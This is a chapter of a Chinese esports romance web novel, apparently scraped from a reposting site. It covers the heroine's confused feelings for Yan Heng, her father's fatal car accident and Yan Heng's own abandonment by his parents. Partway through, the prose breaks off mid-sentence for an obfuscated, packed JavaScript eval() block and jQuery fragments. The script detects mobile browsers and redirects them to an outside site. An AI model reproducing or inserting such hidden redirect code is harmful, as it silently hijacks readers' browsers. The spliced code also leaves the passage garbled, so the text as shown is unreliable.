30. 苍山负雪

作品:《我的明烛天南[电竞]

    为什么有些人总能面不改色、肆无忌惮地说出这些似是而非的话?


    这是岳明烛脑子里蹦出来的第一个疑问。


    她想起了网上流传的名言警句:“Balance长那张脸,一看就是长期招女朋友,但不招长期的女朋友”,但又说他是个母胎单身,难道他就是那种光撩却不负责的典型案例?也许是撩人撩多了就信手拈来了吧。


    随后脑子里又蹦出来另外一段回忆。


    那是在大一上的期末周,她还没有遇到那个吉林男,校团委有个学长加了她的好友,总是说些似有若无的撩拨话。


    比如你今天没有去图书馆啊,真可惜,见不到你没有动力学习——


    比如只有你知道我这个样子,别人不知道,你还没有体会到你对我的重要性吗——


    少女情窦初开的时间,心总是会被这些话给动摇,产生了一种恋爱的错觉,而说话的人觉得无可厚非,难道就要因为一两句话负责吗?


    后续就是这个学长转头跟另外一个女生在朋友圈官宣了,这份莫名其妙的心动无疾而终。


    甚至都没有理由去质问为什么。


    得到的答案也显而易见,别人动动嘴皮子,勾勾手指头,你就过来了,能去怪谁。


    感情真是件很操蛋的玩意。自己这边进度条拉满了,别人那边加载半天,因为双方进度不统一,总会有那么一方会尝到苦头。


    经此一事,岳明烛可不想悲剧重演,那玩意的窝囊苦吃过一次就够了。


    已经走到了门口,岳延棠在前头喊了声:“韩韵开车来的吧,那我和你们舅妈先走。”


    岳明烛匆匆应付了事,根本不容她细想去如何回应他这句话。


    有些事没人提及,一旦不管有意无意地说起了,那颗名为悸动的种子就会被催生发芽。


    韩韵面色不悦地放下手机,真是被里头那个姓于的糟蹋了新年第一天的好心情。


    她看了一眼旁边那个既不会开车也没有车的人,又看到另外一个站在左手边岿然不动,太阳穴突突直跳,问出了以前从来不会问的问题:“你坐谁的车?”


    韩韵的副驾驶一直是岳明烛的专座。至于岳明烛为什么到了二十五岁还没有驾照,这个原因有很多个方面。高考完那个暑假岳明烛还没成年,自然而然考不了,之后每个假期都泡在善慈堂,也没有多少时间。她去学过一次,但驾校教练不仅打人,还开黄腔,岳明烛忍无可忍地把人骂了一通,第二天毅然决然地不去了。


    因为驾照这个事情,聚餐时很多亲戚都会来踩一脚,说有车会很方便啊,比如说家里有人生病可以紧急送往医院。岳明烛那点叛逆劲儿顿时就上来了,咬死辩论说,现在公共交通和打车软件这么发达,我有钱一辆辆换车,能够打好几个豪华出租。而且我家人长命百岁无灾无病,就算有病我也能治!


    亲戚们顿时哑口无言,同时岳明烛那叛逆少女的名号也一战成名。


    韩韵说,没事!姐的副驾一直为你保留。


    这份算不上沉重的誓言形影相随地坚守到了第八个年头。


    然后韩韵就看到那个说好要一辈子坐她副驾的女人,居然犹犹豫豫地向颜衡身边移了一小步:“我最近比较喜欢揽胜……”


    韩韵不明所以:“那我现在回家换车。”


    “颜衡开车比你稳,我比较怕死……”


    岳明烛想起前不久坐韩韵的车,前方三秒黄灯,她一脚油门下去飙到一百九十码,那惊险程度不亚于死神在路口处朝她挥舞着大镰刀。


    “不想坐我的车直说!”


    韩韵本来心里就有气,再看到颜衡眼底那抹藏不住的得意洋洋,这下直接扬长而去,坐到自己车上,平心静气后给白度发了条语音。


    白度早些年跟母亲闹僵,就搬出来一个人住了,闲来没事,把发小周尉从家里捞过来拉过来陪他。


    收到韩韵消息的时候,他们正在召唤师峡谷里双排。白度睨了一眼发消息的人,瞬间撤了鼠标和键盘,把语音外放来听。


    “小白小白,在忙吗?不忙的话下午出来玩呗,我和小岳岳,还有颜衡去梦幻王国玩。”


    语音刚结束,旁边的周尉听了,好奇心冒上来,饶有兴趣地问:“你不是最讨厌别人喊你小白的吗?”


    “她不一样。”白度披了件外套就出门了。


    留下周尉一个人在无能哀嚎:“诶不是!混蛋!你好歹把这局打完再走啊!这踏马是我的号!”


    -


    梦幻王国在郊区,开车过去差不多要一个半小时。索性大年初一路上车辆稀少,并不会造成拥堵。


    颜衡依旧把他大衣脱到了后座,上半身只留下件单薄的短袖。


    她就瞄了一眼,稍稍目测到他的手臂比上次见到的粗了几分,不是那种肥实的粗,是那种线条更加明显劲道,肌肉扎实的壮硕。


    岳明烛刷短视频的时候,偶尔也会刷到擦边肌肉男,她在想,旁边这个人平时不仅撸啊撸,还有时间去撸铁,会不会有腹肌?几块?六块,八块……她咽了咽口水,心虚地亮起手机屏幕,漫无目的地滑动着。


    在岳明烛心猿意马的片刻中,颜衡那不着三不着四的话紧锣密鼓地袭来:“太荣幸了,我的车技居然受到了岳医生的青睐。”


    别人说这种话可能是冒犯,可能是骚扰,但让颜衡顶着那张脸说,那就有可能变成犯罪。


    不能因为他帅,就纵容他为所欲为吧。


    所以岳明烛义正言辞地跟他说:“你能别说这些话吗?”


    “我说了什么?”


    说她妈想招你当赘婿。


    说想让他喂她吃橘子。


    说她想和他穿情侣装。


    ……


    虽然这些跟那个学长比起来,简直就是小巫见大巫,但她为什么对他说的话如数家珍?


    其实好像他做的事情比他说的话更过分,但如果要说是朋友行径,也马马虎虎说的过去,可他的话又越过了朋友的界限。


    岳明烛此刻体会到了“剪不断、理还乱”的具体心境。


    可偏生不巧的是,电话响了,一直在手里震个不停,让她想理思绪都不能。


    看一眼备注信息,两眼一黑。


    正好遇上了红灯,颜衡不紧不慢地将车在斑马线前停下,右手肘搁上中央扶手箱,心不在焉地斜了一眼,原本就寡味至极的表情,平添了几分冷意,怒其不争地将视线移到前方。


    别接他的电话,别接——


    最后听到她还是接了:“喂?”


    “去梦幻王国。”


    “我们刚出发不久,你想来可以开车跟上。”


    “嗯。”


    电话结束,红灯的倒计时在同一时刻变成了零,车子随之启动。


    颜衡的声音也缓缓悠悠响起:“你前未婚夫也要来玩吗?”


    “他不来。”岳明烛没从这句话里听出什么情绪,但她觉得他有些过于在意于景焕了,想起他出门时问的那个问题,于是镇定自若地说,“你不是想知道我们两家氛围为什么奇怪吗?”


    颜衡淡淡道:“不想说也没有关系。”


    “其实说简单也不简单,说复杂么也就那样,你当个八卦听听就好,街坊邻居基本上都知道的,就算我不说,流言蜚语也会替我说。”


    岳明烛抿了抿唇,组织好语言后,才继续道来。


    “我姥爷年轻的时候有心力收徒弟,但他就收了两个,于叔就是姥爷收的第一个徒弟,我爸是在他之后两年收的第二个。


    据说是于叔当初对我妈一见钟情,追的挺猛的,甚至还会翻家里围墙给我妈送花,后院那棵柚子树就被爬过。


    那时候还没有我舅舅,很多人说于叔就是想吃绝户。”


    吃绝户在那个法律意识没有普及的年代并不少见。岳家也算是个靠祖业名声威望一步步积攒的,家产是可观的丰厚,加上于益智平日里唯利是图的风格,老是撺掇岳川走商业化路子,传到别人耳朵里多多少少都会遐想。


    当时的岳川像古代的皇帝,这边听听宦官的挑唆,那边听听大臣们的谏言,听都听烦了,最后干脆放手让岳延华自己选择她喜欢的。


    “不过我妈是个颜控,说于叔长的不是他的菜,两人只能当当朋友。我妈觉得我爸和黎明七八分像,她又是黎明死忠粉。还是我妈追的我爸呢,我爸起初不同意,但他不是因为不喜欢我妈才不同意的……反正最后在我妈的死缠烂打下,两个人两情相悦进入婚姻殿堂。”


    柏阅林是因为家里无父无母,从小勤奋刻苦,好不容易熬出点头,他不比于益智背后有家庭托举。


    但岳延华始终认为看一个人呢,不是看他现在和以前有什么,是看他能靠自己拥有的,去给未来创造些什么。


    她毅然决然地选择柏阅林,柏阅林也从没有让岳延华失望过。


    岳明烛为了减少不必要的麻烦,适当省略了些细节。但不否认的一点,她遗传岳延华的比较多,比如说颜控。


    “虽然平常于叔和我爸称兄道弟,但结婚的时候于叔没去,他去舞厅泡了三天三夜,和王阿姨有了于景焕。所以王阿姨一直把我妈当做假想敌,你懂那个意思吧……”


    有些事真不好直言,只能意会。岳明烛说这段的时候舌头都要打结了,能怎么明说?说王淑静原先是干那档子生意的,于益智和王淑静一夜情,然后王淑静怀孕私自生下于景焕,闹到于家那边。于家看到是个男孩,应了王淑静的要求,让于益智娶了她。


    王淑静其实心里头门清,她知道于益智一直放不下岳延华,指不定哪天休了她,好去巴巴地继续跟在岳延华后面。她怎么可能同意让自己的儿子去娶情敌的女儿,天天放眼皮子底下看,天天提醒她现在的生活是怎么来的,这不闹心么。


    看到颜衡点了点头表示明了,又接着说下去。


    “在我四五岁的时候,于叔和阿姨大吵了一架,要闹到离婚的那种,晚上叫了我爸还有几个朋友去喝夜酒。他们在酒席上给我爸多灌了几杯。那天凌晨,于叔开车带着我爸回家,宁州当时基建不好,有很多单行道的小土路,路两边都有水塘子。没有路灯,迎面撞上来一辆大货车,于叔为了躲避,把车开进沟里去了。他爬了上来,我爸没有。”


    “所以我没爸爸了。”


    “就是这样。”


    岳明烛说最后两句时,冷静的像一潭死水,无风无浪波澜不惊,与其说像死水,倒不如说像结了冰的湖面,因为有冰层,所以无论用石头怎么砸都没有波浪。


    但冰冻三尺非一日之寒,她纯纯是免疫了。


    你要说恨于益智,岳明烛也恨过。


    于益智那群朋友在灌酒的时候,是这样一番说辞的。


    “你看要不是柏阅林娶了于益智原本的媳妇,小于至于今天受这样的苦吗?柏阅林是不是该喝!不喝都对不住小于!”


    什么叫于益智原本的媳妇?岳延华是岳延华,凭什么自动划给了他。关键于益智是默认的态度,他纵容狐朋狗友们给柏阅林灌酒,却一点都不帮忙。而且还是他把车开进水沟里,能不恨吗?


    那几年于益智一来岳家,小小的岳明烛使尽全身力气冲他扔菜叶子丢石头,岳川因此教训过她很多次,她仍然不知悔改。


    可是后来,全家人都渐渐接受了这个事实。岳明烛能有什么办法,连明事理的大人都觉得没有问题,她一个不懂事的黄毛丫头,有什么话语权去发表自己的愤恨,只能无力回天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979066|191313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地被同化思想。


    很多人都说她反骨叛逆,一点都不温柔可爱,岳家那种医药世家,把岳明烛养的不像个大家闺秀。


    真要成那种人,指不定得被欺负成什么样子。


    她又没有个身强力壮的爸爸撑腰。


    上了小学会写日记了,她就会在日记本里写:爸爸你看,我有姥姥姥爷疼,现在还有舅舅关心我,去给我开家长会。妈妈虽然坐上了轮椅,但是家里的路都被你填平了,也不用担心被绊倒。虽然他们都笑话我没有爸爸,但是我有这么多人爱我,我还有好多好多的朋友!每天都过的很开心,你放心好啦!


    她总是有自融自洽的精神,凡事都看开点,没有什么过不去的。


    所有的思绪,最后化在那一声长长的叹息里,烟消云散。


    颜衡没有听歌的习惯,岳明烛也不会放车载音乐,一时间车内只有风躁和胎噪的声音在陪伴着他们。


    也不知道过了多久,大概是等岳明烛彻底放松下来后,颜衡才开口说了句:“我也没有爸爸。”


    “韩韵不是说你爸妈来宁漂的吗?”岳明烛一愣,她推测过他来宁州基地多半是为了和爸妈团聚,灰烬之前说的他家没多少人是只有爸爸妈妈,春节一个人住基地可能是爸爸妈妈需要工作什么的。


    他这一句话直接推翻了她之前所有的猜测。


    颜衡手搭在方向盘上,食指有一下没一下地敲着,轻笑了一声,笑意却不达眼底,“他们一生下我就把我丢给年迈的姥姥,骗了亲戚们的十五万三千九百块,说是去投资赚大钱,来年分红人人有份。然后人带着钱走了,就再也没有回来过,算卷款携逃吧,留下的电话号码打过去是空号,我来宁州这几年,没有他们一点消息,根本联系不上。”


    最后吊儿郎当地来一句:“怎么不算没有爸爸,嗯,连妈妈也没有。”


    他把悲惨说的没心没肺,好似完全不在意一样。岳明烛不解:“我们这是在参加什么比惨大会吗?还得决出个冠军来?”


    又遇上一个红灯,颜衡把车停下来,侧过身子看向她,娇俏的狐狸眼此刻却一本恭敬,他薄唇上下微启:“我想说的是,我理解你。刚刚如果冒犯到你了,对不起。”


    这句话没有戏谑没有轻慢,带有少年纯粹干净的音腔。


    以前也会有人开玩笑开过头,但为了挽尊,嬉皮笑脸地说“对不起咯”,完全没有一点歉意,甚至还有“我都道歉了,你不会还玻璃心难过吧”的意味在里头。


    因为他们不理解她的处境,无法做到真正的感同身受。


    但颜衡却是个例外。


    他懂的有过之而无不及。


    就像两个对频的音波,相触相交相融,然后共振。


    岳明烛忽然觉得心跳的燥热,连呼出的气都变得灼烈,她只和他对视了一眼,匆匆坐直了目视前方,告诉他变绿灯了可以走了,颜衡启动车辆前行。


    她装出一副泰然自若的模样来说:“你没有什么好道歉的,这就是事实,就算很残酷,但它就是真实发生过、存在在那边的,我们不可能去忽视它。所以,不管于叔是出于什么心理想撮合我和于景焕,是对我爸的愧疚也好,还是其他,都不可能。”


    颜衡说:“理解。”


    话音刚落,岳明烛的手机震了一下,是韩韵发来的消息。


    【大小姐:???】


    韩韵向来有开车发消息的习惯,她用的九键,单手打字速度起飞。每次看到她目不斜视地边顾及手机上的消息,边七扭八歪地开车,岳明烛是真的提心吊胆。


    岳明烛只能从交流中抽离出来,敲字回复。


    【岳明烛:大姐好好开车啊】


    韩韵那边发的很快。


    【大小姐:呵呵】


    【大小姐:就你有司机,我也有我的专属司机】


    【大小姐:「图片」】


    图片上的人是白度。他坐在韩韵车的驾驶座,只给镜头一个侧脸。


    岳明烛刚刚查看完图片,下一条消息紧随其后地发来。


    【大小姐:你是不是喜欢颜衡?】


    岳明烛把手机屏幕撇向右边,退出和韩韵的聊天界面,她不确定旁边那人有没有看到,想着他戴过眼镜,视力应该不怎么样。随机又瞎点了另外一个聊天框,这做法简直是现代版的掩耳盗铃。


    好巧不巧,点开的是早上刚发过消息的泽风。


    早上八点,泽风问她,今天有什么安排?


    当时岳明烛虽然醒着,但是忙着去喝早茶就给忘记了。现在点都点开了,顺手回一下。


    【岳明烛:去游乐园玩】


    那边韩韵看人半天没回复,直接打了个电话过来。


    “说话呀你,哑巴了?”


    岳明烛没什么心情回答这个问题,她用大拇指反复按压着印堂穴,企图让自己安神定惊、醒脑开窍,草草敷衍着说:“你想让我说什么?”


    “岳明烛,你知不知道你现在很像一个渣女,哦不对,你就是渣女。”


    “是是是,我是渣女。”


    韩韵一点有用信息没有得到,就这么被挂了电话,不可思议地盯着手机,这妞做贼心虚吧,挂的这么快,心里没鬼那才有鬼了。


    白度注意到旁边人的情绪波动,问:“怎么了?”


    韩韵忿忿不平:“我怀疑岳明烛喜欢颜衡,她的反应很奇怪。”


    “他们俩还没在一起吗?”白度拧了一下眉,一语道破,“那颜衡也太菜了,要不给他加把油吧。”


    “你什么时候转性的?以前不是一直把颜衡当死敌看的吗?”韩韵狐疑地看了他一眼。


    “早点让他找到归宿,省的他顶着那张狐狸脸在外面沾花惹草。”